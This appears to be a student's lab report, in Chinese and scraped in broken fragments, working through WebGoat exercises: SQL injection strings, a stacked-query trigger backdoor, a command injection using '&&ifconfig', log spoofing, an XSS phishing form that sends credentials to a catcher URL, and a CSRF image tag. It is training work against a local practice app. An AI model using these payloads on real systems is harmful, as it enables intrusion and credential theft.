java -jar webgoat-container-7.0.1-war-exec.jar
运行WebGoat
。WebGoat
使用8080端口
,因此在浏览器上访问localhost:8080/WebGoat
进入WebGoat。Smith
,发现出如今SELECT * FROM user_data WHERE last_name = 'Smith'
两个单引号中间,所以咱们能够经过控制在输入框中输入的字符串来控制select语句。'or 1='1
,代码变为SELECT * FROM user_data WHERE last_name = ''or 1='1'
,这里的1='1'
为永真式,所以成功显示全部信用卡号。select * from User where username=''and password =''
,理论上只要pwd = 'or 1=1 --
,就能够实现任何用户的登陆。'or 1=1 --
进行SQL注入登陆失败:'or 1=1 --
为10位,所以须要修改长度为10。'or 1=1 --
,登陆成功。'or 1=1 --
以larry登陆,登录后看到浏览员工信息的按钮是ViewProfile
:value
值改成101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:yd%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符。SELECT * FROM weather_data WHERE station = 101 or 1=1
为永真式来达到查看所有天气数据的目的。Columbia
,点Go
,能够看到全部天气数据。AccessControlMatrix.help
旁边加上"&&ifconfig"
:view
,能够看到命令被执行,出现系统网络链接状况:101; update employee set salary=10000
,服务器为咱们更新。101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='邮箱' WHERE userid = NEW.userid
,使没建立一个新用户的时候,自动为其填充为咱们所但愿的邮箱。html
代码,添加html认证信息
,经过提交时将认证信息提交服务器。html
完整代码以下:</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
purchase
的时候跳出恶意信息。<script>alert("20155217says hello");</script>
,点击purchase
,弹出以下对话框。URL
(login.html是从虚拟机中找的,存储在/var/www/html目录下):<script>window.location.href="http://127.0.0.1:8080/login.html";</script>
message
输入框中输入<script>alert("attacked by yangdi");</script>
执行脚本。<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=4000"/>
来构造邮件。<>
、”
、‘
、%
、;
、()
、&
、+
等严格控制输出。此次实验对我来讲难点之一在于webgoat
全英文的实验环境,实验的理解与完成很大程度上是在谷歌的帮助下作完的,心累累。另外,SQL注入攻击
、XSS攻击
等是关于web安全方面的攻击,本次在具体情形下进行实践,感受比以往理解的更加透彻一些,并且更容易找到一些攻击的规律(多是对能偷懒的方法天生敏锐吧~)。html